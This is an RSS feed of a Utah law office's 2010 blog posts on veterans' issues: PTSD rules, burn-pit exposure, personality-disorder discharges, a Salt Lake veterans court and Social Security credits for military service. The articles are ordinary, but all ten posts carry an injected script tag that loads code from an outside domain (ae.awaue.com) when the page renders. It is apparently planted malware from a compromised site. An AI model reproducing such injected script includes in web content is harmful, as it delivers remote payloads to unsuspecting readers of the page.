<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Ban Law Office PC - Utah Veterans Disability, Utah Environmental Law &#187; Veterans News</title>
	<atom:link href="http://www.banlawoffice.com/category/vetsnews/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.banlawoffice.com</link>
	<description>representation of the disabled • Call 1-801-532-2447 • no fee unless you win </description>
	<lastBuildDate>Sun, 11 Jul 2010 21:50:13 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>New Rules on PTSD&#8211;Jury Still Out on Effect of New Changes</title>
		<link>http://www.banlawoffice.com/2010/07/11/new-rules-on-ptsd-jury-still-out-on-effect-of-new-changes/</link>
		<comments>http://www.banlawoffice.com/2010/07/11/new-rules-on-ptsd-jury-still-out-on-effect-of-new-changes/#comments</comments>
		<pubDate>Sun, 11 Jul 2010 21:49:17 +0000</pubDate>
		<dc:creator>Joel</dc:creator>
				<category><![CDATA[Veterans News]]></category>

		<guid isPermaLink="false">http://www.banlawoffice.com/?p=832</guid>
		<description><![CDATA[]]></description>
			<content:encoded><![CDATA[<p style="font-family: times; font-size: 16px">By now most have heard the flurry of reports about how much easier it will be for Veterans to get benefits for PTSD.  At first glance it would appear the changes would benefit Veterans since the rules on proving the occurrence of stressors has been lessened.  No doubt that this was a huge problem for Veterans since the records kept during battles is understandably imperfect and the new changes address this problem.  Whats less clear is what the effect of the other change will be in terms of only VA employed psychiatric professionals diagnosing and legitimizing PTSD in Veterans.  PTSD is often very difficult to diagnose and what may happen is that Veterans could be dismissed by VA psych professional as having non service related depression.  Almost every case of PTSD includes a diagnosis of depression as well.  It could give these VA employees an unlimited amount of discretion in terms of PTSD claims and the opinion of qualified non VA psych professionals would basically be ignored.  We will have to see the effect of these changes over time to fully comprehend how these changes will or will not help Veterans.  </font><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.banlawoffice.com/2010/07/11/new-rules-on-ptsd-jury-still-out-on-effect-of-new-changes/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>The Veterans Benefits Improvement Act of 2010: Ironically Named Legislation from VA Secreatry Shinseki</title>
		<link>http://www.banlawoffice.com/2010/06/30/the-veterans-benefits-improvement-act-of-2010-ironically-named-legislation-from-va-secreatry-shinseki/</link>
		<comments>http://www.banlawoffice.com/2010/06/30/the-veterans-benefits-improvement-act-of-2010-ironically-named-legislation-from-va-secreatry-shinseki/#comments</comments>
		<pubDate>Wed, 30 Jun 2010 23:09:46 +0000</pubDate>
		<dc:creator>Joel</dc:creator>
				<category><![CDATA[Utah Environmental News]]></category>
		<category><![CDATA[Veterans News]]></category>

		<guid isPermaLink="false">http://www.banlawoffice.com/?p=825</guid>
		<description><![CDATA[]]></description>
			<content:encoded><![CDATA[<p style="font-family: times; font-size: 16px">My <a href="http://docs.google.com/leaf?id=0BwXypxToRFNrZGQxODNiMDItODYyZS00ZTZhLTgyZmQtOWNlNDI2ZGM1OWMz&#038;hl=en"><font color ="blue">comments </font></a>cover the problems covered in the new legislation, but it should go without saying that reducing the amount of time the Veteran has to appeal their claim, and to lessen the VA&#8217;s duty to explain their decisions is not Veteran friendly, and will only make it harder then it already is for Veterans to procure benefits.  <a href="http://docs.google.com/fileview?id=0BwXypxToRFNrNDJmN2FhZTItODlhMS00NjA5LWEyMzgtNGM2MWU1MWFiOTk3&#038;hl=en"><font color ="blue">Here </font></a>is the explanation by the Secretary.  The bill also features an amendment to the Equal Access to Justice Act that makes it harder for attorneys to represent Veterans in the Court of Appeals for Veterans Claims.  As of today it does not appear the bill has been introduced according to a Thomas search, but it appears that it has been subject to hearings.</font><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.banlawoffice.com/2010/06/30/the-veterans-benefits-improvement-act-of-2010-ironically-named-legislation-from-va-secreatry-shinseki/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>New Report on Environmental Threats in Iraq and Afghanistan</title>
		<link>http://www.banlawoffice.com/2010/06/05/new-report-on-environmental-threats-in-iraq-and-afghanistan/</link>
		<comments>http://www.banlawoffice.com/2010/06/05/new-report-on-environmental-threats-in-iraq-and-afghanistan/#comments</comments>
		<pubDate>Sat, 05 Jun 2010 21:21:48 +0000</pubDate>
		<dc:creator>Joel</dc:creator>
				<category><![CDATA[Veterans News]]></category>

		<guid isPermaLink="false">http://www.banlawoffice.com/?p=807</guid>
		<description><![CDATA[]]></description>
			<content:encoded><![CDATA[<p style="font-family: times; font-size: 16px">The <a href="http://docs.google.com/leaf?id=0BwXypxToRFNrYjMxMzQyMTItMDkwMC00OWFiLWJhNGUtNzJhOWFmMWNjNzg4&#038;hl=en"><font color ="blue">report </font></a>seeks to inform VA Regional Offices, presumably for the purpose of Veteran&#8217;s Benefits, about the health threats that can be expected from various hazardous wastes produced in the middle east conflicts including large burn pits in Iraq, Afghanistan, and the small African nation of Djibouti.  Several hundred tons of waste is apparently burned at a base north of Baghdad that includes just about any toxic waste one could think of: rubber, human waste, medical waste, petroleum, chemical waste, and even jet fuel.  Hard to believe that such materials would be so freely disposed of. It does not take a human health expert to realize that the plumes of smoke produced from such emissions could cause serious human health threats to those that happen to breathe nearby air.  Only since October 2009 were some burn pits closed and proper incinerators were installed.  A variety of chemicals and substances known to cause cancer were observed through testing, including dioxins, volatile organic compounds, furans, and particulate matter.  Particulate matter, measured in the 10 and 2.5 microgram varieties, were found to be especially problematic in this region due to the fact that background levels are already high, and with the burn pits the levels are even higher.  The biggest concerns about such pollution is the harmful effect that such pollution will have on human pulmonary and cardiac function.  </font></p>
<p style="font-family: times; font-size: 16px">Other threats highlighted as the sulfur fire near Mosul, Iraq in June 2003.  This fire was located at the largest sulfur mine in the world and released somewhere along the order of 42 million pounds of sulfur dioxide each day for around 3 weeks.  Those firefighters putting out the fire were said to suffer from skin burns, blood tinged mucous, and constrictive bronchiolitis.  This last diagnosis was seen in at least 40 of the firefighters and is said to be quite uncommon.  The aftereffects can be seen by lesions and inflammation of the bronchioles of the lungs.  More well documented is the water contamination that was a long time problem at Camp Lejeune, North Carolina.  Over one million people and children were potentially exposed between the 1950s and 1985 when the wells were finally shut down.  The main chemical of concern is trichloroethylene or TCE.  Scientific proof of exposure and causation is quite limited and its unlikely that further study will be able to reveal health problems from exposure.  </font><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.banlawoffice.com/2010/06/05/new-report-on-environmental-threats-in-iraq-and-afghanistan/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Nation Reports on Military Doctors Fraudulent Diagnosis of PD</title>
		<link>http://www.banlawoffice.com/2010/05/10/nation-reports-on-military-doctors-fraudulent-diagnosis-of-pd/</link>
		<comments>http://www.banlawoffice.com/2010/05/10/nation-reports-on-military-doctors-fraudulent-diagnosis-of-pd/#comments</comments>
		<pubDate>Tue, 11 May 2010 00:40:56 +0000</pubDate>
		<dc:creator>Joel</dc:creator>
				<category><![CDATA[Utah Environmental News]]></category>
		<category><![CDATA[Veterans News]]></category>

		<guid isPermaLink="false">http://www.banlawoffice.com/?p=800</guid>
		<description><![CDATA[]]></description>
			<content:encoded><![CDATA[<p style="font-family: times; font-size: 16px">Its not an issue that receives a lot of press even among Veterans, but the <a href="http://www.thenation.com/article/disposable-soldiers"><em><font color ="blue">Nation </font></em></a>published a provocative article on how military doctors are likely deliberately branding legitimately disabled Veterans as soldiers that had pre-existing personality disorders.  Nevermind that they never would have been accepted into the military if such a mental impairment existed the practice received enough attention that President Obama helped craft a bill to counteract this practice while he was still a Senator.  The story describe a certain veteran who was wounded by a bomb in the Sunni triangle and suffered shoulder trauma, tinnitus, and other ailments such as debilitating headaches, but was told he was faking these injuries, and that he actually had a preexisting personality disorder.   Studies from the Pentagon and Harvard have shown that the government and military has saved billions of dollars through this practice.  It works well for the military since they can discharge those that are diagnosed with PD and then the soldier is actually required to pay back the military since they didn&#8217;t serve their full military term.  Since 2001, more than 22,600 soldiers have been discharged with personality disorders. Many of those discharged this way have served 2 to 3 tours in Iraq and Afghanistan.  Worse there are reports that those diagnosed with PD would be put in solitary confinement, would be detained like a prisoner for a month at a time before they were even discharged under a fabricated mental impairment.  If the soldier disputes the reasons for a discharge then this could result in a less than honorable discharge which is something to be avoided since it prevents primary eligibility for VA disability. </font></p>
<p style="font-family: times; font-size: 16px">Despite Obama&#8217;s initial support for this bill, and bipartisan support, there has not been much if any movement on this bill.  The study that was ordered under the Bush Administration has stated that military doctors have not abused this diagnosis and that they are &#8220;competent medical professionals&#8221; making presumably legitimate diagnoses.  When the study&#8217;s author is pressed as to if soldier&#8217;s families have been interviewed or what the basis for the conclusion is there is no evidence forthcoming.  No soldiers that allegedly have PD or their doctors were interviewed as a part of the study.  </font></p>
<p><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.banlawoffice.com/2010/05/10/nation-reports-on-military-doctors-fraudulent-diagnosis-of-pd/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>SLC to Establish Veterans Criminal Court</title>
		<link>http://www.banlawoffice.com/2010/04/29/slc-to-establish-veterans-criminal-court/</link>
		<comments>http://www.banlawoffice.com/2010/04/29/slc-to-establish-veterans-criminal-court/#comments</comments>
		<pubDate>Fri, 30 Apr 2010 00:48:51 +0000</pubDate>
		<dc:creator>Joel</dc:creator>
				<category><![CDATA[Veterans News]]></category>

		<guid isPermaLink="false">http://www.banlawoffice.com/?p=795</guid>
		<description><![CDATA[]]></description>
			<content:encoded><![CDATA[<p style="font-family: times; font-size: 16px">The Salt Lake City Tribune did a nice job covering a new Court and tells the <a href="http://www.sltrib.com/news/ci_14948127?source=email">story </a>of a particular Veteran who is typical of many returning Veterans who have problems adjusting to life outside of the military.  Many of these Veterans who suffer from PTSD become alcoholic and fall into a cycle of criminal behavior.  The City is to be commended for this progressive program since Veterans have backgrounds that are very unique compared to many others who are in the criminal justice system.  Its estimated that 1/5th of returning Veterans struggle with Alcohol and Drug problems but of course the reasons for this are different that the typical criminal defendant.  The new program will be designed for Veterans who have not committed a violent crime and will be a way for the criminal justice system to reliably track Veterans in the system.  Salt Lake City Prosecutor and candidate for County Attorney General Sim Gill, has started another progressive program that will allow Veterans to have their sentences reduced if they enroll in treatment at the Dept of Veterans Affairs.  Another important advocate of the program is Federal Judge Paul Warner who will refer Veterans in the federal system to the program.  Also it seems that the Salt Lake County jail will now at least inquire if a particular inmate is a Veteran so that help could potentially be provided&#8211;although incarcerated Veterans aren&#8217;t technically eligible for VA services.  Another goal is to increase training to law enforcement officials to deal with Veterans who may suffer from PTSD.  Hopefully this program will be expanded across the state.   </font><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.banlawoffice.com/2010/04/29/slc-to-establish-veterans-criminal-court/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>VA Moves Towards Electronic Disability Processing</title>
		<link>http://www.banlawoffice.com/2010/03/27/va-moves-towards-electronic-disability-processing/</link>
		<comments>http://www.banlawoffice.com/2010/03/27/va-moves-towards-electronic-disability-processing/#comments</comments>
		<pubDate>Sat, 27 Mar 2010 18:01:02 +0000</pubDate>
		<dc:creator>Joel</dc:creator>
				<category><![CDATA[Veterans News]]></category>

		<guid isPermaLink="false">http://www.banlawoffice.com/?p=781</guid>
		<description><![CDATA[]]></description>
			<content:encoded><![CDATA[<p style="font-family: times; font-size: 16px">VA Secretary Shinseki has made electronic disability claims processing a priority, and has made year 2012 the deadline for this electronic system to come online.  This transition is long overdue since the number of claims has been steadily rising while the time it has taken to process these claims has risen as well.  An electronic system will help streamline the processing of these claims since the paper system has many flaws that are all too obvious to anyone who has been involved with a VA disability claim.  Without a system overhaul, the VA estimates that by 2015, that backlog of disability claims will increase tenfold to about 2.6 million. Those with service-connected injuries already wait an average of about five months to have a claim processed, and there are frequent complaints about lost paperwork and inaccuracy.  The problem as it exists now is that the paper file for any given Veteran is mailed all through the country to be processed which slows down the processing time, but under an electronic system multiple claims processors could view and process the file much more efficiently.  Baltimore is one of four pilot sites. The others are in Providence, R.I., Little Rock, Ark., and Pittsburgh. </font><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.banlawoffice.com/2010/03/27/va-moves-towards-electronic-disability-processing/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Special Social Security Benefit for Veterans</title>
		<link>http://www.banlawoffice.com/2010/03/10/special-social-security-benefit-for-veterans/</link>
		<comments>http://www.banlawoffice.com/2010/03/10/special-social-security-benefit-for-veterans/#comments</comments>
		<pubDate>Thu, 11 Mar 2010 01:06:16 +0000</pubDate>
		<dc:creator>Joel</dc:creator>
				<category><![CDATA[Veterans News]]></category>

		<guid isPermaLink="false">http://www.banlawoffice.com/?p=769</guid>
		<description><![CDATA[]]></description>
			<content:encoded><![CDATA[<p style="font-family: times; font-size: 16px">Please share this with anyone who&#8217;s had active duty service between January 1957 to December 31, 2001 and planning for retirement. In a nutshell it boils down to this: </font></p>
<p style="font-family: times; font-size: 16px">You qualify for a higher social security payment because of your Military  service, for active duty any time from 1957 through 2001 (the program was done away with 1 January 2002). Up to $1200 per year of earnings credit credited at time of application &#8211; which can make a substantial difference in social security monthly payments upon your retirement. You must bring your DD-214 to the Social Security Office and you must ask for this benefit to receive it! Soc Sec website:</font></p>
<p style="font-family: times; font-size: 16px">This is something to put in your files for when you apply for Social Security down the road. It is NOT just for retirees, BUT anyone who has served on active duty between January 1957 to December 31, 2001. </font></p>
<p style="font-family: times; font-size: 16px">FYI &#8211; this benefit is not automatic, you must ask for it! We&#8217;ve all been on active duty between 1957 and 2001 or know someone who has.  Passing on good information for all your military folks when you apply for social security. I know this may be too early for some of you to think about social security but, keep living and you will get there&#8230;</font></p>
<p style="font-family: times; font-size: 16px"><strong>Special Extra Earnings for Military Service</strong></font></p>
<p style="font-family: times; font-size: 16px">Since 1957, if you had military service earnings for active duty (including active duty for training), you paid Social Security taxes on those earnings. Since 1988, inactive duty service in the Armed Forces reserves (such as weekend drills) has also been covered by Social Security. </font></p>
<p style="font-family: times; font-size: 16px">Under certain circumstances, special extra earnings for your military service from 1957 through 2001 can be credited to your record for Social Security purposes. These extra earnings credits may help you qualify for Social Security or increase the amount of your Social Security benefit. </font></p>
<p style="font-family: times; font-size: 16px">Special extra earnings credits are granted for periods of active duty or active duty for training. Special extra earnings credits are not granted for inactive duty training. </font></p>
<p style="font-family: times; font-size: 16px"><strong>If your active military service occurred:</strong><br />
    From 1957 through 1967, we will add the extra credits to your record when you apply for Social Security benefits.<br />
    From 1968 through 2001, you do not need to do anything to receive these extra credits. The credits were                 automatically added to your record.<br />
    After 2001, there are no special extra earnings credits for military service. </font></p>
<p style="font-family: times; font-size: 16px"><strong>How You Get Credit For Special Extra Earnings</strong><br />
The information that follows applies only to active duty military service earnings from 1957 through 2001. Here&#8217;s how the special extra earnings are credited on your record:<br />
<strong>Service in 1957 Through 1977</strong><br />
You are credited with $300 in additional earnings for each calendar quarter in which you received active duty basic pay.<br />
<strong>Service in 1978 through 2001</strong><br />
For every $300 in active duty basic pay, you are credited with an additional $100 in earnings up to a maximum of $1,200 a year. If you enlisted after September 7, 1980, and didn&#8217;t complete at least 24 months of active duty or your full tour, you may not be able to receive the additional earnings. Check with Social Security for details. </font><br />
<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.banlawoffice.com/2010/03/10/special-social-security-benefit-for-veterans/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>New DSM-V to be Released Soon</title>
		<link>http://www.banlawoffice.com/2010/02/11/new-dsm-v-to-be-released-soon/</link>
		<comments>http://www.banlawoffice.com/2010/02/11/new-dsm-v-to-be-released-soon/#comments</comments>
		<pubDate>Thu, 11 Feb 2010 18:29:01 +0000</pubDate>
		<dc:creator>Joel</dc:creator>
				<category><![CDATA[Social Security News]]></category>
		<category><![CDATA[Veterans News]]></category>

		<guid isPermaLink="false">http://www.banlawoffice.com/?p=762</guid>
		<description><![CDATA[]]></description>
			<content:encoded><![CDATA[<p style="font-family: times; font-size: 16px">The newest version of the mental illness bible, the Diagnostic and Statistical Manual on Mental Illnesses will probably be released in 2013.  This is a critical document both for the VA and Social Security Administration since they both rely on this manual that outlines the diagnostic criteria used to classify and award benefits for the most common mental illnesses.  It should be expected that any amendments or changes used to classify the most common illnesses would cause amendment to various regulations controlling listings or ratings for mood or affective disorders that are most frequently seen for disability.  The document is drafted by the American Psychiatric Association and for the first time includes gambling and eating disorders, but not sex and gambling addiction disorders.  The last time the manual was revised was 1994.  The <a href="http://www.dsm5.org/Pages/Default.aspx"><font color ="blue">manual </a></font>is actually out for public comment until April.  Also its expected that the manual will consolidate various disorders such as for autism that will be combined with Asberger&#8217;s Syndrome&#8211;typically considered to be a more mild form of Autism.  A category of autism spectrum will be combine these impairments into one category.  This is likely to be a source of contention.  Given the nature of mental illness its likely that any revisions will always be met with resistance since its very difficult to objectively identify the existence or the severity of any given mental illness.  </font><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.banlawoffice.com/2010/02/11/new-dsm-v-to-be-released-soon/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Brain Imaging Could be Used to Diagnose PTSD</title>
		<link>http://www.banlawoffice.com/2010/01/24/objective-evidence-may-indicate-ptsd/</link>
		<comments>http://www.banlawoffice.com/2010/01/24/objective-evidence-may-indicate-ptsd/#comments</comments>
		<pubDate>Sun, 24 Jan 2010 23:18:28 +0000</pubDate>
		<dc:creator>Joel</dc:creator>
				<category><![CDATA[Veterans News]]></category>

		<guid isPermaLink="false">http://www.banlawoffice.com/?p=743</guid>
		<description><![CDATA[]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.banlawoffice.com/2010/01/24/objective-evidence-may-indicate-ptsd/ptsd-300x225/" rel="attachment wp-att-745"><img src="http://www.banlawoffice.com/wp-content/uploads/ptsd-300x225-150x150.jpg" alt="ptsd-300x225" title="ptsd-300x225" width="150" height="150" class="alignleft size-thumbnail wp-image-745" /></a></p>
<p style="font-family: times; font-size: 16px">Rarely are there objective and medically acceptable testing methods that can scientifically verify the presence of a mental illness.  That may have changed based on new research out of the University of Minnesota and the Minnesota VA Medical Center.  Hundreds of thousands of new cases of PTSD are being diagnosed as a result of current military conflicts in the middle east, but now, magnetoencephalography (MEG), a brain imaging method, could be used to verify PTSD.  They scanned the brains of 74 U.S. veterans with PTSD, and 250 civilians without the disorder, and say that by spotting specific brain biomarkers, they managed to accurately diagnose PTSD sufferers with 90 percent accuracy.  The MEG can accurately measure electrical activity in the brain and at least preliminarily there seems to be reason to believe that it could be relied upon to accurately diagnose PTSD.  MEGs can record brain signals very quickly compared to a CT scan or MRI.  The VA has been desperate to get a handle on the number of new PTSD cases since the disease has quickly inundated the disability system with appeals, and in certain cases significant compensation to Veterans.   </p>
<p><strong>Post script</strong>: Based on further review it would seem that these recent studies may not be the best tool for PTSD diagnosis, but rather could be useful for finding differences between people with PTSD and those that don&#8217;t.  A blog post describes the difference and chalks up the media reports to inaccuracies in reporting on mental illnesses which is quite common.  Check it out on <a href="http://www.mindhacks.com/blog/2010/01/brain_scan_diagnoses.html">mindhacks</a>.</font><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.banlawoffice.com/2010/01/24/objective-evidence-may-indicate-ptsd/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Women Veterans Struggling</title>
		<link>http://www.banlawoffice.com/2009/12/25/the-struggles-of-women-veterans/</link>
		<comments>http://www.banlawoffice.com/2009/12/25/the-struggles-of-women-veterans/#comments</comments>
		<pubDate>Fri, 25 Dec 2009 19:48:33 +0000</pubDate>
		<dc:creator>Joel</dc:creator>
				<category><![CDATA[Veterans News]]></category>

		<guid isPermaLink="false">http://www.banlawoffice.com/?p=711</guid>
		<description><![CDATA[]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.banlawoffice.com/2009/12/25/the-struggles-of-women-veterans/womansoldier/" rel="attachment wp-att-714"><img src="http://www.banlawoffice.com/wp-content/uploads/womansoldier.gif" alt="womansoldier" title="womansoldier" width="200" height="138" class="alignleft size-full wp-image-714" /></a></p>
<p style="font-family: times; font-size: 16px">The Associated Press did a great <a href="http://news.yahoo.com/s/ap/us_female_veterans_finding_a_place"><font color ="blue">story </font></a>on the problems women veterans face in lieu of their increasing numbers and society&#8217;s failure to acknowledge their sacrifices.  The numbers are quite high since over 230,000 women have fought in recent military conflicts in Iraq and Afghanistan.  The problems they face are the same as their male veteran colleagues although they seem to face added sexual discrimination.  Like their male cohorts they struggle with PTSD but such an illness may be discounted in their disability rating if they are pregnant.  Although military law prohibits women from being in artillery front lines the likelihood they will be in a combat situation is high due to the nature of recent conflicts.  Even as a police officer there is a strong possibility of being situated in the middle of a violent conflict.  One hundred and twenty women have been killed in action and 650 have been wounded.  One area that women veterans seem to be struggling with at higher rates then men are sexual assault, but often the most common complaint is the stigma they receive when they get back home.  Women veterans do not seem to receive the same level of respect as males when they return such as the free beers that many veterans receive.  That disrespect is compounded by the military establishment and VA since the woman&#8217;s role in service is frequently viewed as a subservient or lesser role then the male veteran&#8217;s.  </font><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.banlawoffice.com/2009/12/25/the-struggles-of-women-veterans/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
